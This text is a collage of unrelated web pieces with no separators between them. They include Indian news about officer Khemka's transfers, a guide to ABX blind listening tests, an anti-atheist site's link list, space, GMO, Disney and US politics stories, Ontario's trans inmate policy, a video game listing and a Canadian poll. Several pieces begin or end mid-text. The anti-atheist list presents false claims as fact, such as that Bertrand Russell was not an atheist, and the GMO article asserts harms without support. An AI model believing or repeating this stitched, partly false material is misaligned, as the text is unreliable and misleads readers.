Khemka felt it was "grossly unfair" to punish him for being upright and exposing the scams and corrupt acts instead of taking action against the guilty.
The IAS officer also made a mention of his transfer in July this year, when he was transferred from Haryana State Electronics Development Corporation (HATRON).
"Prior to my last transfer, I was abruptly transferred from Hartron in a similar manner within 50 days. There also corrupt activities within the organisation were exposed. There was a nexus to award software development works of petty nature without tender to few selected companies at inflated prices of Rs 25 to Rs 50 lakh each, whereas the rudimentary software development work could have been done in-house or through NIC using few man-days," he wrote.
Khemka also mentioned that he fears he would be "subject to transfer every month so as to humiliate and demoralise me and create roadblocks for regular and timely release of salary".
"My family feels threatened due to certain vested elements whose interests were adversely affected by the exposure of scams in this Department (last posting). I plead for security and fixed tenure in a cadre post befitting my seniority".
Khemka, who is known in bureaucratic circles as an upright and honest officer, had in 2004 refused to obey the orders of the then state government headed by Om Prakash Chautala with respect to transfer of teachers mid-session.
PTIBlind listening tests
Many experiments have proven that audible differences that listeners can hear between audio sources are sometimes the product of imagination. These illusions can be strong, durable, shared by many listeners, and consistently associated with the knowledge of the audio source that is listened to.A Double Blind listening Test (DBT) is a listening setup that allows to confirm that a given audible difference is indeed caused by the audio sources, and not just by the listener's impressions.In an ABX double blind listening test, the listener has access to three sources labeled A, B, and X. A and B are the references. They are the audio source with and without the tweak. For example the wav file and the MP3 file. X is the mystery source. It can be A or B. The listener must guess it comparing it to A and B.But if the listener says that X is A, and that X is actually A. What does this prove?Nothing of course. If you flip a coin in my back and a state that it's heads, and I'm right, it doesn't prove the existence of my para-psychic abilities that allow me to see what's in my back. This is just luck, nothing more!That's why a statistical analysis is necessary.Let's imagine that after the listener has given his answer, the test is run again, choosing again X at random 15 times. If the listener gives the correct answer 16 times, what does it prove? Can it be luck?Yes it can, and we can calculate the probability for it to happen. For each test, there is one chance out of two to get the right answer, and 16 independant tests are run. The probability to get everything correct by chance is then 1/2 at the power 16, that is 1/65536. In other words, if no difference is audible, the listener will get everything correct one time out of 65536 in average.We can thus choose the number of trials according to the tweak tested. The goal being to get a success probability inferior to the likelihood, for the tweak, to actually have an audible effect.For example if we compare two pairs of speakers. It is likely that they won't have the same sound. We can be content doing the test 7 times. There will be 1 chance out of 128 to get a "false success". In statistics, a "false success" is called a "type I error". The more the test is repeated, the less type I errors are likely to happen.Now, if we put an amulet besides a CD player. There is no reason that it changes the sound. We can then repeat the test 40 times. The success of probability will then be one out of one trillion (2 to the power 40). If it ever happens, there is necessarily an explanation : the listener hears the operator moving the amulet, or the operator always takes more time to launch the playback once the amulet is away, or maybe the listener perceives a brightness difference through his eyelids if it is a big dark amulet, or he can smell it when it is close to the player...Let p be the probability of getting a success by chance. It is generally admitted that a result whose p value is inferior to 0.05 (one out of 20) should be seriously considered, and that p < 0.01 (one out of 100) is a very positive result. However, this must be considered according to the context. We saw that for very suspectful tweaks, like the amulet, it is necessary to get a very small p value, because between the expected probability for the amulet to work (say one out of a billion, for example), and the probability for the test to succeed by chance (1 out of 100 is often chosen), the choice is obvious : it's the test that succeeded by chance!Here's another example where numbers can fool us. If we test 20 cables, one by one, in order to know if they have an effect on the sound, and if we consider that p < 0.05 is a success, then in the case where no cable have any actual effect on the sound, since we run 20 tests, we should all the same expect in average one accidental success among the 20 tests! In this case we can absolutely not tell that the cable affects the sound with a probability of 95%, even while p is inferior to 5 %, since anyway, this success was expected. The test failed, that's all.But statistic analyses are not limited to simple powers of 2. If, for example, we get 14 right answers out of 16, what happens? Well it is perfectly possible to calculate the probability that it happens, but mind that what we need here is not the probability to get exactly 14/16, but the probability to get 16/16, plus the one to get 15/16, plus the one to get 14/16.An Excel table gives all needed probabilities : http://www.kikeg.arrakis.es/winabx/bino_dist.zip. It is based on a binomial distribution.Now, how to setup the listening test so that its result, if positive, is really convincing? There are rules to observe if you don't want, in case of a success, have all your opponent laugh at you.
Rule 1 : It is impossible to prove that something doesn't exists. The burden of the proof is on the side of the one pretending that a difference can be heard.
If you believe that a codec changes the sound, it is up to you to prove it, passing the test. Someone pretending that a codec is transparent can't prove anything.
2. The test should be performed under double blind conditions (*).
In hardware tests, this is the most difficult requirement to meet. Single blind means that you can't tell if X is A or B otherwise than listening to it. Double blind means that nobody in the room or the imediate surrounding can know if X is A or B, in order to avoid any influence, even unconcious, on the listener. This complicates the operations for hardware testing. A third person can lead the blindfolded listener out of the room while the hardware is switched. High quality electronic switches have been made for double blind listening tests ( http://sound.westhost.com/abx-tester.htm ) : a chip chooses X at random, and a remote control allows to compare it to A and B at will.Fortunately, in order to double blind test audio files on a computer, some ABX programs are freely available. You can find some in our FAQ
3. The p values given in the table linked above are valid only if the two following conditions are fulfilled :
-The listener must not know his results before the end of the test, exept if the number of trials is decided before the test.
...otherwise, the listener would just have to look at his score after every answer, and decide to stop the test when, by chance, the p value goes low enough for him.
-The test is run for the first time. And if it is not the case, all previous results must be summed up in order to get the result.
Otherwise, one would just have to repeat the serial of trials as much times as needed for getting, by chance, a p value small enough.Corollary : only give answers of which you are absolutely certain! If you have the slightest doubt, don't answer anything. Take your time. Make pauses. You can stop the test and go on another day, buttry to guess by "intuition". If you make some mistakes, you will never have the occasion to do the test again, because anyone will be able to accuse you of making numbers tell what you want, by "starting again until it works".Of course you can train yourself as much times as you whish, provided that you firmly decide beforehand that it will be a training session. If you get 50/50 during a training and then can't reproduce this result, too bad for you. the results of the training sessions must be thrown away whatever they are, and the results of the real test must be kept whatever they are.Once again, if you take all the time needed, be it one week of efforts for only one answer, in order to get a positive result at the first attempt, your success will be mathematically! Only your hifi setup, or your blind test conditions may be disputed. If, on the other hand, you run again a test that once failed, because since then, your hifi setup was improved, or there was too much noise the first time, you can be sure that there will be someone, relying on statistic laws, to come and question your result. You will have done all this work in vain.
4. The test must be reproducible.
http://www.hometheaterhifi.com/volume_11_4...ds-12-2004.html
http://www.hydrogenaudio.org/forums/index....f=21&t=7953 (*) The double blind setting may be replaced by a carefully set simple blind setting. I saw two accounts of simple blind listening tests that failed, proving that, when done carefully, a simple blind setting is enough to fool the listener.
Anyone can post fake results. For example if someone sells thingies that improve the sound, like oil for CD jewel cases of cable sheath, he can very well pretend to have passed a double blind ABX test with p < 0.00001, so as to make people talk about his products.If someone passes the test, others must check if this is possible, by passing the test in their turn.We saw what is an ABX test, with the associated probability calculus, that is perfectly suited for testing the transparency of a codec, or the validity of a hifi tweak. But this is only the ABC of statistic tests.For example, in order to compare the quality of audio codecs like MP3, in bigger scaled tests, ABC/HR test are used (see http://ff123.net/abchr/abchr.html ), that are more sophisticated. Each listener has two sliders and three buttons for every audio codec tested. A and B are the original and the encoded file. The listener doesn't know which one is which. C is the original, that stands as a reference. He must give, using the sliders, a mark between 1 and 5 to A and B, the original getting 5 in theory.A probability calculation allows then not only to know if the tested codec audibly alters the sound, but also to estimate the relative quality of the codecs for the set of listeners involved, and this, still under double blind conditions, and with a probability calculus giving the relevance of the result. These calculus, according to the needs of the test, can be performed with the Friedman method, for example, that gives a ranking for each codec, or also with the anova one, that gives an estimation of the subjective quality perceived by the listeners on the 1 to 5 scale.Note that this kind of statistical analysis is mostly used in medicine, and that to get an authorization, any drug must prove its efficiency in double blind tests (both the physicians and the patients ignore if the pill is a placebo or a medication) against placebo (the drug must not only prove that it works, but that it works better than a placebo, because a placebo alone works too), and the decision is based on mathematical analyses such as the one we just saw. Thus they are not quickly made guidelines for hifi tests. They are actually general testing methods used in scientific research, and they remain entirely valid for audio tests.Introduction : The history behind this site.
What is Militant Atheism? What are the forces that drive militant atheism?
Agenda : Major atheist organizations' long-term agenda.
Successes : The surprising accomplishments of some leading atheist organizations.
Secrets : Devastating facts some militant atheists don't want you to know.
Erroneous Facts or Simply Lies? Atheists and social advancements.
Inaccuracies : Great minds who have been erroneously labeled atheists.
Mistakes : Grave atheist mistakes you need to know.
Arroganc e and Pride : Condescending and arrogant statements by militant atheists.
Immorality : The most influential atheists of the past century lived immoral lives.
Crimes and Evils : The greatest crimes of all times were committed by militant atheists.
Fear Mongering : Do Creationists really endanger the advancement of Science?
Ex- Atheists : Fanatical unbelievers who became strong believers in God.
Atheism, Abortion and Genocide: Most militant atheists support abortion -- and genocide.
Are Secular Societies Really Better Off? Is Gregory S. Paul's study correct?
The Secular Sweden Disaster : Unbelieving Sweden is no longer heaven on earth.
Atheism and Divorc e Rates : Do atheists really divorce less than believers?
Atheistic Humanism: the New Messiah? Is atheistic humanism the new savior?
Can Atheists be Moral? Is higher level morality possible without God?
Do Atheists Care for Gays More Than God? Does God hate homosexuals?
Richard Dawkins : Rebuttals and criticisms to Atheism's High Priest.
The God Delusion, Preface Analysis : The true aims and irrationality of Richard Dawkins.
Dawkins and Einstein, on the Bible and it's Value: Einstein's views on biblical morality.
Is Richard Dawkins Satan Possessed? Is Dawkins possessed by the devil?
Dawkins and Nobel Prize Winners: Are most Nobelists really unbelievers?
Extraterrestrials? Yes! God? No way! Dawkins' absurdity, in Ben Stein's "Expelled...."
A Crucial Message to Richard Dawkins : A brief appeal, before it's too late.
Dawkins and a "Gigantic Intelligence" : Is Dawkins changing his mind?
Is Dawkins a Modern-day Hitler? : Glaring and worrisome similarities between the two.
Dawkins Lack of Brilliance Exposed -- from His Own Words.
C hapter by Chapter Analysis of, The God Delusion: An in-depth analysis.
Christopher Hitchens : God is not Grea t : Rebuttals.
Samuel Harris : " Letter to a Christian Nation," Rebuttals.
Philip Pullman : He wants your kids' minds and makes no qualms about it. -- Rebuttals.
B ertrand Russell was not an atheist.
Darwin rejected Atheism.
Sartre rejected Atheism.
Sir Anthony Flew was arguably the foremost defender of atheism in modern times -- He is now a believer.
Einstein believed that the Bible possessed the answers to all human problems.
Madalyn Murray O'Hair's son, William, became a Christian evangelist.
The fathers/mothers of modern atheism were "not-so-moral" people.
The greatest social advancements were due to the work of believers, not atheists.
The greatest scientists of the past were fervent Christians.
Many modern Nobel Prize winning "scientists" believe in God.
The Scientific Method was conceived by brilliant minds who believed in God.
The greatest minds of the past believed in God.
Atheists were responsible for more deaths than any other group in history.
Jesus Christ is a proven historical figure and fulfilled the Messiah requirements.
The Bible has withstood the test of time.
There are ample explanations for alleged Bible discrepancies.
The facts supporting Jesus Christ's resurrection are unassailable.
American Atheists: A close look at the child of Madalyn O'Hair.
Freedom From Religion Foundation: A close look at a vehement anti-God association.
Bertrand Russell : Rebuttals to atheists' greatest icon.
David Hume: Rebuttals to Hume's views on the impossibility of miracles.
Are the following influential minds really unbelievers?
Bacon / Beethoven / Darwin / Dostoevsky / Franklin / Galileo / Hobbes / Leonardo / Sartre / Shakespeare / Spinoza
The Greatest Minds Believed in God
Most of t he greatest geniuses of the past in Art, Music, Philosophy, Scien ce and Literature Believed in God (and a great many Nobel-Prize winners).
Unlike what atheists propagate, the greatest minds of the past believed in God. Read the fully-referenced proofs in this book.
AVAILABLE IN BOTH PAPERBACK AND E-BOOK FORMAT ON AMAZON.COM
Junk DNA? Hardly : A "vestige" of evolution? Look at the facts.
Where is the Grotesque? If atheists were right, nature would overflow with grotesque creatures. Where are they?
Richard Dawkins Surprising Morality (?) Dawkins' shocking support of Peter Singer.
Are Atheists Really Charitable? Atheists' contributions to charitable causes are negligible.
Hawking and Nothingness: How an irrational pseudo-scientists tried to turn "nothingness" into "everything."
It All Just Happened? A brief look at the most irrational package ever conceived.
Is Atheism Satanism? Atheism is a form of Satanism, though it does not directly worship Satan.
The Greatest Minds and God : The greatest and most influential minds believed in God.
ARTISTS / MUSICIANS / PHILOSOPHERS / SCIENTISTS / WRITERS AND POETS / BIBLIOGRAPHY / BIOGRAPHIES
Nobel Prize Winners and God : Nobel Prize winners who believe in God.
Did Galileo Believe in God? Was Galileo an infidel? The facts prove otherwise.
Did Newton Believe in God? Isaac Newton was a fervent, Bible-loving Christian.
Did Leonardo Believe in God? Brilliant and scientific -- but not an atheist.
God and Catastrophes: When great natural calamities strike, where is God?
Is Christianity Evil? Is the world's most numerous religion evil?
Was Jesus Christ Really Resurrected? This momentous event stands on solid ground.
Bible Contradictions? Resources that address alleged Bible contradictions.
About God and Jesus Christ : The author's "other" site on the Father and the Son.
Atheists and the Fear of Hell : The fear of hell has led some to embrace atheism.
The EvilBible.com Web Site Confronted: Exposing the biblical ignorance of an overconfident, pseudo Bible scholar.
Who Really Killed Jesus Christ? Jesus Christ chose His gruesome sacrifice out of love for all--even atheists.
Classic Proofs of God's Existence : More than sufficient, yet fiercely denied by those who prefer unbelief.
Ten Proofs for God's Existence : The Decalogue: surprising evidence for God's existence.
explanations of some of God's seemingly perplexing actions found in the Bible.
Noah's Flood, Sodom and Gomorrah, The Destruction of the Canaanites, Jephthah's Daughter, Death of David's Child, David's Punishment for the Census, Israel's Captivity, Ananiah and Sapphira, Paul's Suffering, Catastrophes of the Last Days
God's Building Block: the Atom : The atom is a witness to God's power and brilliance.
God, Rainbows and Colors: God's handiwork is present in rainbows and colors.
God, Air and Water : This trait in air and water testify to God's undeniable brilliance.
Open Letter to Atheist/Agnostic-Jews: The author's heart-felt appeal to unbelieving children of Abraham
Open Letter to Hurt Christians Who Embraced Atheism: An appeal to Christians who have turned to unbelief because of hurt.
Open Letter to Young People: Atheists want your mind; How to fight back.
Abortion Adultery Atheism Bestiality Euthanasia Homosexuality Incest Pornography True Christianity
Atheists and Bad Pears: Militant atheists have much to learn from my pear tree.
10 Sure Ways to Help Atheism Grow : How to make sure atheism does not grow.
Free Literature : Web sites that offer free religious literature.
The Rationalizing Atheist: More undeniable evidence of atheist ethical insufficiency.
Lies, and Wolf-pack Tactics Against Steve Myers: Militant Atheists unethical attacks of Steve Meyers on Amazon.com.
Great Theistic Works : Great theistic works of the past.
UCG
"To the Highest God alone be glory. ”
Michael CaputoBigelow Aerospace
Space just keeps getting bigger. Bigelow Aerospace, which just sent an inflatable room to the International Space Station (ISS), wants to do it again in 2020 – on a much larger scale.
Last night the firm announced a partnership with rocket supplier United Launch Alliance (ULA) to launch two of its B330 expanding habitats into orbit in 2020.
One of these may follow in the footsteps of the Bigelow Expandable Activity Module (BEAM), which arrived at the ISS this week.
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“We are exploring options for the location of the initial B330 including discussions with NASA on the possibility of attaching it to the International Space Station,” said company founder Robert Bigelow in a statement. “The working name for this module is XBASE or Expandable Bigelow Advanced Station Enhancement.”
Commercial space station
The B330 is 20 times larger than BEAM, and would boost the internal volume of the ISS by 30 per cent. At a press conference last night, Bigelow stated that he would like the XBASE to increase commercial traffic to the ISS, allowing researchers to visit and use the facility on a “timeshare” basis with NASA.
Just one B330, whether free-flying or attached to the ISS, would double existing demand for commercial launches from the likes of SpaceX and Boeing, says the company.
Bigelow Aerospace’s partnership with ULA is preliminary and no contracts have been exchanged, but the companies say they are keen to work together. If NASA doesn’t want a B330 for the ISS, Bigelow says he would also be interested in seeking commercial sponsorship.
“We would love to see Disney have a Disney space station,” he said last night. “Wouldn’t that be cool?”Island by island, our most tropical state is slowly advancing towards being GMO-free
By Elizabeth Renter | Natural Society
A recently launched petition on the island of Maui would temporarily suspend the production of genetically modified crops on that island. If passed, Maui would join the islands of Kauai and Hawaii in regulating the production and sale of crops largely seen as both dangerous and destructive.
The ballot initiative needs to receive 8,500 signatures before it is approved to go before voters in November. If it makes it, the initiative would stop all production of GMO crops on the island and the spraying of related pesticides until companies like Monsanto could unequivocally prove their products were safe.
The signatures are due by March 31, and the five Maui citizens behind the petition think it’s not only possible, but likely that they’ll make the deadline.
“The Agro-chemical companies have effectively turned Hawaii into their own outdoor laboratory, which they operate with impunity.” Mark Sheehan said in a press release. “On Kauai, for example, a documented correlation has been made between rising levels of pesticide application and rising incidences of birth defects. That throws the safety of the entire GE operation into question, which brings the ‘Precautionary Principle’ to bear.”
With their year-round growing season, these giant corporations have literally put down roots on the Hawaiian islands, spreading their seeds across the warm and lush islands. Without the proper testing and precautions, they are essentially making it up as they go along, and any problems (like GMO contamination on non-GMO fields and pesticide run-off showing up in the drinking water) won’t be dealt with until it’s too late.
“The citizens of Maui County have serious concerns as to whether the GE seed operations, open-field mixing of pesticide cocktails, and GE crop experimentation occurring in Maui County are causing irreparable harm to the people, the environment, and public trust resources,” said Sheehan.
The burden would be on Monsanto to prove their products are safe, something they have had a hard time convincing the people of thus far. Largely, because there is evidence to the contrary.
For their part, companies like Monsanto and Syngenta are already challenging laws in Kauai and Hawaii for limiting their market.
In Kauai, a bill was passed in 2013 that not only requires biotech companies to report what pesticides they are spraying, but where and in what concentrations. It also requires they create “buffer zones” between fields treated with pesticides and neighboring communities. Failure to do these things could result in the employees of these companies being arrested.
In Hawaii, Mayor Billy Kenoi recently signed a bill that bans GMOs from the island. While the bill exempts the booming GMO papaya industry there, activists call it a success.
As a state, lawmakers are considering a GMO-labeling bill as well. It’s only one of several GMO-related state laws that are being considered in the island state. Lawmakers, voters, and activists in Hawaii are not backing down, despite the hard work ahead. And their progress thus far can be seen as inspiration for progressive change at the county and state levels alike.
Additional Sources:
Reuters
(Photo: Intellihub News/Shepard Ambellas)SACRAMENTO, April 20 (UPI) -- A California EMT is being praised for performing an unusual task outside of his usual duties -- mowing an 87-year-old man's lawn.
Ken Densley said in a Facebook post his 87-year-old father passed out Saturday while mowing the lawn, an activity he won't allow anyone else in his family to perform, and neighbors called 911.
Densley wrote:
"He's okay and refused to go to the hospital. My sister and I came as soon as we heard and while we were talking him back inside one of the EMTs put the gurney away and the other finished mowing the lawn! I told him I would do that but he insisted! He finished and even put the mower away."
Densley said he did end up taking his father to the hospital Saturday, but he was discharged Sunday and is now "doing great."
"He has also promised to let us mow the lawn from now on!" Densley wrote.Image copyright Disney Channel Image caption (Left to right) Sofia Wylie, Joshua Rush, Peyton Elizabeth Lee and Asher Angel star in the show
The Disney Channel is introducing a gay storyline for the first time in its show Andi Mack.
The channel is to set to make history when its season two premiere airs on Friday in the US.
It will see best friends Andi (Peyton Elizabeth Lee) and Cyrus (Joshua Rush) both admit they are attracted to the same boy.
A Disney spokesperson says the show "sends a powerful message about inclusion and respect for humanity".
The statement added that the show's creator, Terri Minsky - who also made the hit Disney show Lizzie McGuire - and her team took "great care in ensuring that it's appropriate for all audiences."
The series is a coming-of-age show that revolves around 13-year-old girl Andi and her friends Cyrus, Buffy and Jonah.
In the season premiere, Andi is dealing with feelings for a boy she knows when her best friend Cyrus realises that he has feelings for the same boy.
Cyrus's story develops in later episodes as he begins to understand himself better with the help of his friends and family.
Rush said he was proud to bring the "groundbreaking storyline" to life.
'Thought, care and authenticity'
To ensure Disney told the story in a sensitive and respectful way, they worked with child development experts on the storyline.
They also consulted PFLAG, the US's biggest LGBTQ organisation.
Their executive director Dr Jaime Grant said: "Coming out requires honest self-reflection, no small amount of bravery and a safe place with at least one trusted person.
"Andi Mack's creative team captures this moment of revelation with such thought, care, and authenticity, it will be a memory moment for some, and a teachable moment for many."
Kim Sanders from LGBT rights group Stonewall said: "It's great to see Disney taking this step. For young lesbian, gay and bi people it sends a powerful message, demonstrating that they are not alone.
"We need to see more people with different sexual orientations and gender identities on TV and in film."
Image copyright Disney Image caption LeFou is the first gay character in a Disney film
Andi Mack's average viewer is 10 years old. This means it will attract a similar audience to Beauty and the Beast, the 2017 adaptation of which featured the film side of the Disney franchise's first gay character.
In the film, starring Emma Watson, gay character LeFou comes to terms with fancying his sidekick Gaston.
The reworked Power Rangers film, which was out earlier this year, also had an openly gay superhero in it.
Yellow ranger Trini is depicted in the film as having "girlfriend problems".
Follow us on Facebook, on Twitter @BBCNewsEnts, or on Instagram at bbcnewsents. If you have a story suggestion email entertainment.news@bbc.co.uk.[Video from 2011.]
The House results on Election Day 2012 were the only bad things that happened in what was otherwise obviously a pretty great day for Democrats and progressives. The biggest question for 2014 is whether we can find a way of turning that result around. Part of the answer, of course, is dependent on how the economy is doing. If the pessimists are right and things are not looking good, we will lose seats not gain them. But even if the economy is okay, do we have a chance at being the House majority after the 2014 elections?
As many Democratic activists have pointed out, we actually won the overall votes in House races by the same 2% plus margin that Obama did, so re-districting dominated by Republican gerrymandering clearly played a big role in them holding on to the House. Democrats, though, are making a big mistake in attributing our failure solely to gerrymandering and essentially giving up on retaking the House the rest of this decade as many pundits are suggesting. I remember the same points being made after the 2002 and 2004 failures to retake the House, and in 2006 and 2008 we not only retook the House but added considerably to the margin in 2008.
The pundits will be predicting doom and gloom for sure. Not only did we fail to win the House back in a good Democratic year, they will remind us, but in the 6th year of a Presidency the president's party almost always loses seats. But historical trends never would have predicted a lot of things we have seen in politics over the last couple of decades (an African immigrant's son with a Muslim name being elected President for one, and then being re-elected in spite of a bad economy for another), and I've been in the middle of a couple big surprises in terms of the House over the years that are worth recalling here because of the lessons they teach.
The first of these was in 1998. It was the 6th year of the Clinton Presidency, and as every pundit under the sun kept reminding us, no President's party in its 6th year had picked up seats since 1822 (when there was no opposition party). Added to that little historical trend was this wee little thing known as the Monica Lewinsky scandal. Virtually all of the pundits, all the Republicans, and most Democrats were predicting a shellacking for the Democrats- a loss of 30 seats in the House was the average prediction. The DCCC was advising candidates to do anything in their power to change the subject from Lewinsky but an obsessive media and weekly revelations about things like semen-stained dresses made that impossible.
But there was a group of us who had a different idea about how to reframe the election: rather than trying to change the subject, lean into the problem and reframe it. I was working at People For the American Way at the time, a group devoted to, as Norman Lear has always put it, being a PR firm for the constitution. We were disgusted with the idea of impeaching a President over having and trying to cover up an affair, and couldn't believe this was all the Republicans and the media wanted to talk about. In talking to my old colleagues from the '92 Clinton campaign, Stan Greenberg and James Carville, they confirmed that their poling showed the same thing we were feeling: voters were tired of all this obsession with a sex scandal, and didn't get why you would impeach the President over such a thing. We came up with an ad campaign based on the theme that "it was time to move on".
Meanwhile, literally the same week as we launched our ad campaign, out on the West coast, Wes Boyd and his wife Joan Blades, a couple who had never been involved in politics before, had the same idea, and started an internet petition about it being time to "move on" that caught on like wildfire, picking up 500,000 signatures in a matter of a few days by being spread from person to person. Nothing like that had ever happened before in politics and it was a big deal. Wes and Joan's petition and our ad campaign fed off each other, causing a huge stir in the media, and soon we had joined forces and were organizing hundreds of meetings with members of Congress, and were putting ads up in 9 of the most critical media markets in the country.
On election day, we shocked the pants off the punditry and the conventional wisdom DC establishment. Instead of losing 30 or more seats, Democrats picked up 5. We won the big targeted races in 8 of the 9 media markets PFAW and MoveOn targeted.
In 2006, it was another year where initially the pundits and DC establishment were very pessimistic about Democratic chances, saying Democrats had no chances of taking the House back. Redistricting had made it just too tough |
that the State Department Inspector General concluded that classified information also had been transmitted over the personal email account of Colin L. Powell and also the personal accounts of aides to Condoleezza Rice.
Markings
Finally, we come to Clinton’s excuse — that none of the emails were marked classified. This is a bit of a red herring. Anything marked classified could not be sent through an unclassified system — and officials are supposed to know enough about the sensitivity of communications to recognize material that could be considered classified under the executive order.
The executive order, for instance, says all foreign government information should be presumed to cause damage if disclosed without authorization. In reviewing Clinton’s emails, for instance, the State Department redacted every page of a private communication to Clinton from then-British Foreign Secretary David Miliband.
“It is entirely possible for previously unclassified information to be redesignated as classified, as long as it has not already been officially released to the public,” Aftergood noted. “It is also true that the question of public disclosure can drive a decision to classify information that had not been classified up to that point.”
The Pinocchio Test
Clinton is in a pickle here, largely of her own making.
The emails in question were sent on an unclassified system — as they would have been if she had followed standard protocol and used a state.gov account. Under State Department practice, a request for public release of her emails would have been subject to the same classification discussion currently underway. Any “top secret” communications would have been withheld.
However, if she did not have a private server, intelligence officials now would not be scrutinizing every single Clinton email for possible public release. That has heightened the scrutiny of what should not be disclosed — and what was discussed in the unclassified system in the first place.
The State Department’s unclassified system is not perfect — the Russians have hacked it — but Clinton’s home server was outside official control or supervision. Moreover, unlike state.gov, it did not have dedicated government security personnel responsible for it.
Clinton said, “When you receive information, of course, there has to be some markings, some indication that someone down the chain thought that this was classified and that was not the case.” But that’s only half of the story. Even without markings, officials are supposed to recognize that information passed through an unclassified system might be deemed as classified and should take steps to protect it.
The Clinton campaign has argued that some intelligence officials are now engaged in a game of overclassification. That could well be the case; it’s impossible to know without access to emails that may not be released for years. But this debate would not even be taking place without the decision to set up the private server in the first place.
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Previously, inmates were put in institutions based on a person's "primary sexual characteristics." Now, they will be housed according to their self-identified gender and referred to by their chosen name rather than their legal name and their preferred pronoun.
"This is the most progressive policy on the treatment of trans inmates in North America," Correctional Services Minister Yasir Naqvi said Monday. "No other jurisdiction in Canada has such policy. In fact one of the things that I'll be doing is sending a copy of our policy to all other my colleagues across the country."
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Last year there were 25 inmates that self-identified as transgender in provincial correctional facilities, according to the ministry.
The policy builds on interim guidelines that were put in place last April, Naqvi said.
The case of a trans woman from England who was detained by the Canada Border Services Agency last February pushed the issue to the forefront as she tweeted her experiences before being detained in a men's facility, despite travelling on a passport identifying her as female.
Avery Edison was eventually transferred to a women's facility, but filed a human rights complaint about her treatment. She said Monday she couldn't comment on Ontario's new policy because her human rights case is ongoing.
Trans advocate Susan Gapka said the new policy is significant because it is "incredibly dehumanizing" for trans people to be treated as anything other than their self-identified gender.
"For the trans community... it has a tremendous negative impact, not only during that moment in time but in our experience with authority, our experience with institutions," she said. "When we try to patch our lives back together that can really be a barrier to accepting the sources of support that will help us to get through to the next level."
Trans inmates were previously often put in segregation, but now they will be integrated into the general population whenever possible, Naqvi said.
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"Today is about human rights," he said. "It is about ensuring that trans inmates are given the same protections, the same dignity and the same treatment. It is about respect and dignity for gender identity and gender expression."
Ontario Human Rights commissioner Barbara Hall said the policy helps protect the rights of trans people, who face a higher risk of harassment and violence behind bars from other inmates and sometimes corrections staff.
"This innovative policy is a major step towards removing that risk and providing a safe, supportive environment for people of all gender identities," she said.
"It was not so long ago that we — in fact society was not aware of the severe challenges many trans people face but that has changed because the community has educated all of us and continues to do so."
The policy will also allow inmates to keep "personal items, including prosthetics, necessary to express their gender," Naqvi said.
When Boyd Kodak was arrested in December 2012 he was sent to a women's facility despite being a trans man with male identification who transitioned 20 years ago, he said. His prostheses were removed and confiscated, he said. When he was released after appearing in court days later his male clothes were not returned so he found himself in a potentially dangerous situation, walking the streets of Toronto in female clothing with three days worth of facial hair growth, he said.
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"It was outrageous," Kodak said. "My life has never been the same since."
Kodak has filed a human rights complaint.
He said any worries that inmates have about trans people in their midst are misplaced.
"It's the same sort of thing that gay people faced 20 years ago when they said... in a gay area don't go into a bathroom because somebody might come on to you," he said.
"It's the same thing. It's a total misconception. Just because you identify as a particular gender doesn't mean you're going to... act out in any kind of way. It's your gender."UK retailer GAME has listed a special edition of Battlefield 4 called the ‘Deluxe Edition,’ which is exclusive to the retailer in the region.
The Deluxe Edition will set you back £64.99 for PS3 and Xbox 360, £54.99 for PC. Battlefield 4’s special edition costs £20 over the regular edition, and will net you the following:
Battlefield 4 Game
Battlefield 4 China Rising Expansion Pack
Bonus In-Game Content
Collectible SteelBook Cover
Battlefield 4 Deluxe Edition is only listed for PS3, Xbox 360, and PC at the time of writing. We will keep you posted if the special edition is confirmed for PS4 and Xbox One, and what other stores in the world will be carrying it.
Of course, the first print of Battlefield 4 will include the Expansion Pack, so the Deluxe Edition only adds a SteelBook cover and yet to be announced In-Game Content. It’s worth noting that, if you pre-order any edition through GAME, you will also receive a pair of real dog tags and bonus in-game content while supplies last.
Battlefield 4 multiplayer will be showcased June 10th. Also, be sure to check out the official FAQ about the Beta and its’ availability in your region.
Thanks, Video GamerHow shoplifting a garden hose gets you a life sentence in prison.
Anoop Prasad Blocked Unblock Follow Following Oct 2, 2015
Rajeshree Roy, a survivor of childhood sexual abuse and domestic violence, has spent more than half of her life incarcerated by a system that claims to protect survivors. Trigger warnings for Domestic Violence and Childhood Sexual Abuse.
Rajeshree Roy was born in Fiji. Her mother abandoned her when she was an infant. Her father, like many Fijians, was forced to leave the country as an undocumented immigrant looking for work and left her with extended family. As a half-Indian, half-Fijian child in a country with long standing ethnic tensions, Rajeshree was hated by her Indian family, who started sexually abusing her when she was five.
“When I was eight, my uncle would tie me to a faucet outside and make me perform oral sex on him. He would give me twenty cents and warn me not to tell anyone.”
Rajeshree’s visa allowing her to immigrate to the United States and escape sexual abuse at home.
By the time her father was able to bring her over on a green card eight years later, Rajeshree had experienced an unfathomable amount of trauma. When she tried to tell her family, they refused to listen. Unable to express what she had been through, Rajeshree was filled with anger and sadness. At the age of twelve, Rajeshree attempted to commit suicide for the first of many times in her life. She passed out unconscious in the garage for days without anyone noticing that she was gone.
“After what I’d been through, I hated men. I couldn’t trust any of them. Still, if I wanted to survive, I had to forgive myself and find a way to forgive them too.”
Starved for affection that she was not getting at home, Rajeshree would often run away to live on the streets. In a summer when she was sixteen and homeless, Rajeshree started robbing people to get money. Years of bottled up pain and anger began pouring out as she found herself unable to stop punching, kicking, and beating the men she robbed. She was arrested for multiple counts of robbery and aggravated assault.When it comes to role models, Canadians in Atlantic Canada admire environmentalist David Suzuki, while the folks in British Columbia take inspiration from wheelchair athlete Rick Hansen, according to a new poll.
The survey, which asked about 1,000 Canadians to rank how much they admired a list of 15 high-profile Canadians, shows a wide range of opinions from province to province.
Mr. Suzuki was the most admired figure on the list of names included in the survey at the national level, getting a positive response from 57 per cent of respondents. His appeal was greatest, at 69 per cent in the East, and lowest, at 42 per cent in Alberta.
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Mr. Hansen, who ranked second nationally, had the highest approval rating in his home province of British Columbia, at 76 per cent, and the lowest in Quebec, at just 14 per cent.
There were some notable names absent from the list of 15, drawn up by polling firm Angus Reid, such as astronaut Chris Hadfield, who gained worldwide attention this year with his tweets from outer space.
Angus Reid vice-president Shachi Kurl said there was no "great art or science," about how names were chosen for the list. Most of the figures, she said, such as the person with the lowest ranking – Senator Mike Duffy, admired by 4 per cent of respondents nationwide – made headlines this summer.
Others are well-known figures such as broadcaster Peter Mansbridge, who took fourth spot. Former federal politician and business leader Belinda Stronach, No. 11, was chosen because the pollster was "looking for some gender balance," Ms. Kurl said.
